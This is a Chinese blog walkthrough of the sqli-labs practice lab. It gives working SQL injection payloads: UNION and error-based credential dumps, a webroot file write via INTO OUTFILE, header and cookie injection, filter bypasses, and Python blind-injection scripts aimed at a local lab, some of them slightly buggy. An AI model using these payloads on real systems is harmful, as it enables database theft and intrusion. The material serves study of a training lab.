sqli-labs闯关复现

目录

1.第一关:

尝试联表注入:

2.第五关:

3.第七关:主要考察outfile

4.第八关:对错都不回显,但是对就不显示,错就是you are in.....

5.第九关:没有任何反应,所以只能根据时间进行时间盲注,需要用到sleep()函数

6.第十一关:

7.第十五关

8.第十七关:报错注入。可以看到User Name的注入点被过滤了,所以就要通过Password注入

9.第十八关:User Name 和 Password都被过滤了

10.第二十关

11.第二十一关:

 12.第二十四关


1.第一关:

        

提示我们输入数字值得id,我们先输入

?id=1

有回显内容,说明我们已经进入了数据库进行查询。

尝试联表注入:

       第一步:首先我们需要知道一张表有几列,可以通过报错和正常回显来判断有几列。

这里两个知识点:

        1.正常使用mysql语句是无法查询出来的,由于是字符型,需要使用 ' 单引号来闭合,达到逃脱单引号的控制

        2.-- 空格是mysql的注释符,因为+加号是和空格编码成一样的%20,具体证明可以查看各大官方文档,例如华三。

?id=1'order by 3 --+

?id=1'order by 4 --+

这不难看出,这个表有三列。

        第二步:爆出表格的哪一列显示在页面。

?id=-1'union select 1,2,3--+

确定了显示的是2和3列

        第三步:就可以开始获取自己想要知道的内容了

?id=-1'union select 1,database(),version()--+

第四步:由于我们查出来了security这个数据库名,接下来就可以一步一步查出它的账号密码有哪些。先查出表名,在根据表名查出users的列名,最后就可以直接select查出账号密码。

select table_name from tables where table_schema='security';

select column_name from columns where table_schema='security' and table_name='users';

select username,password from security.users;

 

这是在数据库里面看到的表名和列名以及密码,但是我们需要通过注入在页面回显出来。

group_concat()的作用:将查询结果连起来。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 到这里第一关就结束。

2.第五关:

 由于第五关没有正确的回显,所以可以尝试一下进行报错注入。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3e,password)from users),1,32),0x7e),1)--+

注入成功,看到报错回显了账号密码,但是只有前32位,所以要以此类推知道全部回显出来。只需要吧1,32改成32,64.......

3.第七关:主要考察outfile
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "C:/Study/phpstudy/phpstudy_pro/WWW/sqli-labs-master/web.php";--+

提示有语法错误不用担心,去看一下该路径下是否生成了php文件。

4.第八关:对错都不回显,但是对就不显示,错就是you are in.....

我们可以尝试一下:因为数据库名为security,第一个字母为s转换成ascii看看115是否正确。

?id=1' and ascii(substr(database(),1,2))=115--+

不难看出,这样是可以一直推出来的,但是需要尝试特别长的时间,所以我们可以选择爆破,或者用脚本跑出来。这是我使用简单的脚本:

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

接下里只需要修改payload一步一步跑出来即可

"1' and ascii(substr((select group_concat(table_name)from information_schema.table where table_schema='security'), %d, 1)) > %d-- " % (i, mid)
5.第九关:没有任何反应,所以只能根据时间进行时间盲注,需要用到sleep()函数
import requests
import time


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += chr(j)
                print(result)
    return result


if __name__ == '__main__':
    TIME = 5
    process(8)

6.第十一关:

我们可以尝试一下在Username进行注入,由于这里不是地址栏,不会进行编码,所以就可以使用#,因为闭合的原因,所以Password可以随便输入。

1' union select 1,2#

可以发现确实是这样的,找到注入点,就和第一关差不多了

1' union select 1,group_concat(username ,id , password) from users#

7.第十五关

第十五关的思路其实跟第八关差不多,无非就是把You are in 换成图片flag.jpg,代码如下:

def inject_database(url):
    for i in range(1, 20):
        for j in range(32, 129):
            data = {"uname": "admin' and ascii(substr(database(), %d, 1)) = %d#)" % (i, j), "password": "111111"}
            r = requests.post(url, data=data)
            if "flag.jpg" in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

当然,这个脚本其实是有点慢的,可以使用二分查找效率会相对高一些。

8.第十七关:报错注入。可以看到User Name的注入点被过滤了,所以就要通过Password注入

 

通过尝试password注入,发现是可以的,所以想法是正确的。

这里需要说一下在mysql5.6版本中,这个计数命令会报一个主键重复的错

select count(*),floor(rand(0)*2) x from users group by x;

所以需要把注入语句写成这样:

1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as y)#

后面的就只需要改函数就行了。

9.第十八关:User Name 和 Password都被过滤了

所以我们需要找到新的注入点,通过代码发现可以尝试抓包一下看看能不能修改IP地址或者User-Agent。我是经过尝试后发现IP改了没用,User-Agent是可以的。

所以就可以开始注入了:

User-Agent:a' and updatexml(1,concat(0x7e,user(),0x7e), 1) and '1'='1

接下来就简单了和上面一样一步一步获取信息。

10.第二十关

可以看到登录成功后的回显是这样的,我们可以发现它把你的账号记录在了cookie中,我们就可以想象一下,突然加了这个会不会是一个新的注入点。

还是可以像18关一样抓个包看看。

Cookie:uname=admin' and updatexml(1,concat(0x7e,user(),0x7e),1)#

 发现确实可以,后面就和上面一样了

11.第二十一关:

其实第二十一关就是比二十关多了一个base64的编码,所以我们只需要吧注入语句转换成base64的编码进行注入就可以了。

12.第二十四关:二次注入

第24关多了忘记密码和注册功能,我们通过源代码可以发现输入密码的时候是进行了过滤的,无法进行注入,但是后面取的时候是没有进行过滤的,所以需要二次注入来实现,

第一步:先注册一个账号,并登录

进来之后就是这个界面,我们可以发现这里的修改密码就是源代码有漏洞的地方。所以我们可以在这里进行二次注入。

第二步:开始注入

我们发现这里的username处是可以闭合的,虽然后面用到了curr_pass,但是一个注释符就没用了,因为注入点在前面。

13.第二十五关:

源代码是对or和AND进行了过滤,但是仅仅是把or和AND替换成了空,所以就可以进行oorr,anandd注入

 ?id=1' aandnd updatexml(1,concat(0x7e,user(),0x7e),1)--+

但是这种方法放到现在是没有用的,任何waf都过不去。

14.第二十六关:

无非就是比25关多了几个过滤,所以用不了--+了,但是可以再用单引号进行闭合一样可以注入。

?id=1'||updatexml(1,concat(0x7e,user(),0x7e),1)aandnd'1'='1

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值